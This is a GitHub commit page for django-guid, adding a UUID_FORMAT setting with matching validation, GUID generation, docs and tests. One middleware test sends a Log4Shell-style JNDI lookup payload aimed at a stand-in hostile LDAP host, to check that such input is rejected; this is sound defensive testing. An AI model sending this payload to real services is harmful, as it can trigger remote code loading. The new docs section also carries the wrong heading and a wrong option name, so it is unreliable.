Skip to content

Commit

Permalink
Merge pull request #81 from Mdslino/main
Browse files Browse the repository at this point in the history
Add UUID_FORMAT config
  • Loading branch information
JonasKs authored May 6, 2022
2 parents 93011f9 + e103fb8 commit 6b535cb
Show file tree
Hide file tree
Showing 11 changed files with 135 additions and 54 deletions.
16 changes: 4 additions & 12 deletions .pre-commit-config.yaml
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
repos:
- repo: https://github.com/ambv/black
rev: 22.1.0
rev: 22.3.0
hooks:
- id: black
args: ['--quiet']
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.1.0
rev: v4.2.0
hooks:
- id: check-case-conflict
- id: end-of-file-fixer
Expand All @@ -31,7 +31,7 @@ repos:
]
args: ['--enable-extensions=G']
- repo: https://github.com/asottile/pyupgrade
rev: v2.31.0
rev: v2.32.1
hooks:
- id: pyupgrade
args: ["--py36-plus"]
Expand All @@ -42,15 +42,7 @@ repos:
files: 'django_guid/.*'
- id: isort
files: 'tests/.*'
- repo: local
hooks:
- id: rst
name: rst
entry: rst-lint --encoding utf-8
files: ^(CHANGELOG.rst|README.rst|CONTRIBUTING.rst|CONTRIBUTORS.rst|docs/api.rst|docs/extended_example.rst|docs/index.rst|docs/install.rst/index.rst|docs/integration.rst/index.rst|docs/publish.rst/index.rst|docs/settings.rst/index.rst|docs/troubleshooting.rst)$
language: python
additional_dependencies: [pygments, restructuredtext_lint]
- repo: https://github.com/pre-commit/mirrors-mypy
rev: v0.931
rev: v0.950
hooks:
- id: mypy
2 changes: 1 addition & 1 deletion django_guid/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

from django_guid.api import clear_guid, get_guid, set_guid # noqa F401

__version__ = '3.2.2'
__version__ = '3.3.0'

if django.VERSION < (3, 2):
default_app_config = 'django_guid.apps.DjangoGuidConfig'
Expand Down
20 changes: 16 additions & 4 deletions django_guid/config.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
# flake8: noqa: D102
from typing import List, Union
from collections import defaultdict
from typing import Dict, List, Union

from django.conf import settings as django_settings
from django.core.exceptions import ImproperlyConfigured
Expand Down Expand Up @@ -58,7 +59,12 @@ def integration_settings(self) -> IntegrationSettings:

@property
def uuid_length(self) -> int:
return self.settings.get('UUID_LENGTH', 32)
default_length: Dict[str, int] = defaultdict(lambda: 32, string=36)
return self.settings.get('UUID_LENGTH', default_length[self.uuid_format])

@property
def uuid_format(self) -> str:
return self.settings.get('UUID_FORMAT', 'hex')

def validate(self) -> None:
if not isinstance(self.validate_guid, bool):
Expand All @@ -75,8 +81,14 @@ def validate(self) -> None:
raise ImproperlyConfigured('IGNORE_URLS must be an array')
if not all(isinstance(url, str) for url in self.settings.get('IGNORE_URLS', [])):
raise ImproperlyConfigured('IGNORE_URLS must be an array of strings')
if type(self.uuid_length) is not int or not 1 <= self.uuid_length <= 32:
raise ImproperlyConfigured('UUID_LENGTH must be an integer and be between 1-32')
if type(self.uuid_length) is not int or self.uuid_length < 1:
raise ImproperlyConfigured('UUID_LENGTH must be an integer and positive')
if self.uuid_format == 'string' and not 1 <= self.uuid_length <= 36:
raise ImproperlyConfigured('UUID_LENGTH must be between 1-36 when UUID_FORMAT is string')
if self.uuid_format == 'hex' and not 1 <= self.uuid_length <= 32:
raise ImproperlyConfigured('UUID_LENGTH must be between 1-32 when UUID_FORMAT is hex')
if self.uuid_format not in ('hex', 'string'):
raise ImproperlyConfigured('UUID_FORMAT must be either hex or string')

self._validate_and_setup_integrations()

Expand Down
9 changes: 7 additions & 2 deletions django_guid/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -70,9 +70,14 @@ def generate_guid(uuid_length: Optional[int] = None) -> str:
:return: GUID
"""
if settings.uuid_format == 'string':
guid = str(uuid.uuid4())
else:
guid = uuid.uuid4().hex

if uuid_length is None:
return uuid.uuid4().hex[: settings.uuid_length]
return uuid.uuid4().hex[:uuid_length]
return guid[: settings.uuid_length]
return guid[:uuid_length]


def validate_guid(original_guid: str) -> bool:
Expand Down
10 changes: 10 additions & 0 deletions docs/settings.rst
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ Default settings are shown below:
'EXPOSE_HEADER': True,
'INTEGRATIONS': [],
'UUID_LENGTH': 32,
'UUID_FORMAT': 'hex',
}
Expand Down Expand Up @@ -81,3 +82,12 @@ UUID_LENGTH
If a full UUID hex is too long for you, this settings lets you specify the length you wish to use.
The chance of collision in a UUID is so low, that most systems will get away with a lot
fewer than 32 characters.

UUID_LENGTH
-----------
* **Default**: ``hex``
* **Type**: ``string``

If a UUID hex is not suitable for you, this settings lets you specify the format you wish to use. The options are:
* ``hex``: The default, a 32 character hexadecimal string. e.g. ee586b0fba3c44849d20e1548210c050
* ``str``: A 36 character string. e.g. ee586b0f-ba3c-4484-9d20-e1548210c050
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[tool.poetry]
name = "django-guid"
version = "3.2.2" # Remember to also change __init__.py version
version = "3.3.0" # Remember to also change __init__.py version
description = "Middleware that enables single request-response cycle tracing by injecting a unique ID into project logs"
authors = ["Jonas Krüger Svensson <jonas-ks@hotmail.com>"]
maintainers = ["Sondre Lillebø Gundersen <sondrelg@live.no>"]
Expand Down
2 changes: 2 additions & 0 deletions setup.cfg
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,8 @@ ignore =
ANN002
# Missing type annotations for **kwargs
ANN003
# Allow Any typing
ANN401

exclude =
.git,
Expand Down
3 changes: 3 additions & 0 deletions tests/conftest.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,9 @@ def mock_uuid(monkeypatch):
class MockUUid:
hex = '704ae5472cae4f8daa8f2cc5a5a8mock'

def __str__(self):
return f'{self.hex[:8]}-{self.hex[8:12]}-{self.hex[12:16]}-{self.hex[16:20]}-{self.hex[20:]}'

monkeypatch.setattr('django_guid.utils.uuid.uuid4', MockUUid)


Expand Down
71 changes: 49 additions & 22 deletions tests/functional/test_sync_middleware.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,11 @@
from django_guid.config import Settings


def test_request_with_no_correlation_id(client, caplog, mock_uuid):
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')],
)
def test_request_with_no_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch):
"""
Tests a request without any correlation-ID in it logs the correct things.
In this case, it means that the first log message should not have any correlation-ID in it, but the next two
Expand All @@ -17,58 +21,81 @@ def test_request_with_no_correlation_id(client, caplog, mock_uuid):
:param client: Django client
:param caplog: caplog fixture
"""
response = client.get('/')
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': False, 'UUID_FORMAT': uuid_format}

with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/')

expected = [
('sync middleware called', None),
(
'Header `Correlation-ID` was not found in the incoming request. '
'Generated new GUID: 704ae5472cae4f8daa8f2cc5a5a8mock',
'Header `Correlation-ID` was not found in the incoming request. ' f'Generated new GUID: {uuid_data}',
None,
),
('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock'
assert response['Correlation-ID'] == uuid_data


def test_request_with_correlation_id(client, caplog):
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('97c304252fd14b25b72d6aee31565843', 'hex'), ('97c30425-2fd1-4b25-b72d-6aee31565843', 'string')],
)
def test_request_with_correlation_id(uuid_data, uuid_format, client, caplog, monkeypatch):
"""
Tests a request _with_ a correlation-ID in it logs the correct things.
:param client: Django client
:param caplog: caplog fixture
"""
response = client.get('/', **{'HTTP_Correlation-ID': '97c304252fd14b25b72d6aee31565843'})
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format}

with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/', **{'HTTP_Correlation-ID': uuid_data})
expected = [
('sync middleware called', None),
('Correlation-ID found in the header', None),
('97c304252fd14b25b72d6aee31565843 is a valid GUID', None),
('This log message should have a GUID', '97c304252fd14b25b72d6aee31565843'),
('Some warning in a function', '97c304252fd14b25b72d6aee31565843'),
('Received signal `request_finished`, clearing guid', '97c304252fd14b25b72d6aee31565843'),
(f'{uuid_data} is a valid GUID', None),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == '97c304252fd14b25b72d6aee31565843'
assert response['Correlation-ID'] == uuid_data


def test_request_with_non_alnum_correlation_id(client, caplog, mock_uuid):
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')],
)
def test_request_with_non_alnum_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch):
"""
Tests a request _with_ a correlation-ID in it logs the correct things.
:param client: Django client
:param caplog: caplog fixture
"""
response = client.get('/', **{'HTTP_Correlation-ID': '!"#¤&${jndi:ldap://ondsinnet.no/a}'})
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format}

with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/', **{'HTTP_Correlation-ID': '!"#¤&${jndi:ldap://ondsinnet.no/a}'})
expected = [
('sync middleware called', None),
('Correlation-ID found in the header', None),
('Non-alnum Correlation-ID provided. New GUID is 704ae5472cae4f8daa8f2cc5a5a8mock', None),
('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'),
(f'Non-alnum Correlation-ID provided. New GUID is {uuid_data}', None),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock'
assert response['Correlation-ID'] == uuid_data


def test_request_with_invalid_correlation_id(client, caplog, mock_uuid):
Expand Down
39 changes: 32 additions & 7 deletions tests/unit/test_config.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,10 @@

from django_guid.config import Settings

UUID_LENGTH_IS_NOT_INTEGER = 'UUID_LENGTH must be an integer and positive'
UUID_LENGHT_IS_NOT_CORRECT_RANGE_HEX_FORMAT = 'UUID_LENGTH must be between 1-32 when UUID_FORMAT is hex'
UUID_LENGHT_IS_NOT_CORRECT_RANGE_STRING_FORMAT = 'UUID_LENGTH must be between 1-36 when UUID_FORMAT is string'


@override_settings()
def test_no_config(settings):
Expand Down Expand Up @@ -86,13 +90,34 @@ def test_not_string_in_igore_urls():
Settings().validate()


def test_uuid_len_fail():
for setting in [True, False, {}, [], 'asd', -1, 0, 33]:
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['UUID_LENGTH'] = setting
with override_settings(DJANGO_GUID=mocked_settings):
with pytest.raises(ImproperlyConfigured, match='UUID_LENGTH must be an integer and be between 1-32'):
Settings().validate()
@pytest.mark.parametrize(
'uuid_length,uuid_format,error_message',
[
(True, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
(False, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
({}, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
(-1, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
(0, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
(33, 'hex', UUID_LENGHT_IS_NOT_CORRECT_RANGE_HEX_FORMAT),
(37, 'string', UUID_LENGHT_IS_NOT_CORRECT_RANGE_STRING_FORMAT),
],
)
def test_uuid_len_fail(uuid_length, uuid_format, error_message):
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['UUID_LENGTH'] = uuid_length
mocked_settings['UUID_FORMAT'] = uuid_format
with override_settings(DJANGO_GUID=mocked_settings):
with pytest.raises(ImproperlyConfigured, match=error_message):
Settings().validate()


@pytest.mark.parametrize('uuid_format', ['bytes', 'urn', 'bytes_le'])
def test_uuid_format_fail(uuid_format):
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['UUID_FORMAT'] = uuid_format
with override_settings(DJANGO_GUID=mocked_settings):
with pytest.raises(ImproperlyConfigured, match='UUID_FORMAT must be either hex or string'):
Settings().validate()


def test_converts_correctly():
Expand Down
15 changes: 10 additions & 5 deletions tests/unit/test_uuid_length.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
from django.conf import settings as django_settings
from django.test import override_settings

import pytest

from django_guid.utils import generate_guid


Expand All @@ -13,13 +15,16 @@ def test_uuid_length():
assert len(guid) == i


def test_uuid_length_setting():
@pytest.mark.parametrize('maximum_range,uuid_format,expected_type', [(33, 'hex', str), (37, 'string', str)])
def test_uuid_length_setting(maximum_range, uuid_format, expected_type):
"""
Make sure that the settings value is used as a default.
"""
for i in range(33):
mocked_settings = django_settings.DJANGO_GUID
mocked_settings['UUID_LENGTH'] = i
mocked_settings = django_settings.DJANGO_GUID
mocked_settings['UUID_FORMAT'] = uuid_format
for uuid_lenght in range(33):
mocked_settings['UUID_LENGTH'] = uuid_lenght
with override_settings(DJANGO_GUID=mocked_settings):
guid = generate_guid()
assert len(guid) == i
assert isinstance(guid, expected_type)
assert len(guid) == uuid_lenght

0 comments on commit 6b535cb

Please sign in to comment.